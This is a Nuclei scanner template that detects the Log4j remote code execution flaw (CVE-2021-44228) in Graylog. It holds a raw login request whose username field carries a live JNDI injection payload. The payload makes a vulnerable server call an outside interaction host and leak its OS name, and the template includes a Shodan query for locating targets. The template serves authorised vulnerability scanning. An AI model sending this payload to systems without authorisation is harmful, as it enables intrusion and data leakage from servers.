nuclei-templates/vulnerabilities/other/graylog-log4j.yaml

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id: graylog-log4j
info:
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name: GrayLog - Remote Code Execution (Apache Log4j)
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author: DhiyaneshDK
severity: critical
description: Graylog uses the Log4j 2 Java library to record its own log information. Versions of this library earlier than 2.15.0 are vulnerable to a remote code execution attack, specifically when specially crafted values sent as user input will be logged by Graylog.
reference:
- https://www.graylog.org/post/graylog-update-for-log4j
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- https://logging.apache.org/log4j/2.x/security.html
- https://nvd.nist.gov/vuln/detail/CVE-2021-44228
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metadata:
verified: true
shodan-query: title:"Graylog Web Interface"
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tags: cve,cve2021,rce,jndi,log4j,graylog
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requests:
- raw:
- |
POST /api/system/sessions HTTP/1.1
Host: {{Hostname}}
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0
Accept: application/json
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
X-Requested-By: XMLHttpRequest
Content-Type: application/json
Origin: {{BaseURL}}
Referer: {{BaseURL}}
{"username":"${jndi:ldap://${sys:os.name}.{{interactsh-url}}}","password":"admin","host":"{{Hostname}}"}
matchers-condition: and
matchers:
- type: word
part: interactsh_protocol # Confirms the DNS Interaction
words:
- "dns"
- type: regex
part: interactsh_request
regex:
- '([a-zA-Z0-9.-]+).([a-z0-9]+).([a-z0-9]+).\w+' # Match for extracted ${sys:os.name} variable
extractors:
- type: kval
kval:
- interactsh_ip # Print remote interaction IP in output
- type: regex
part: interactsh_request
group: 1
regex:
- '([a-zA-Z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+' # Print extracted ${sys:os.name} in output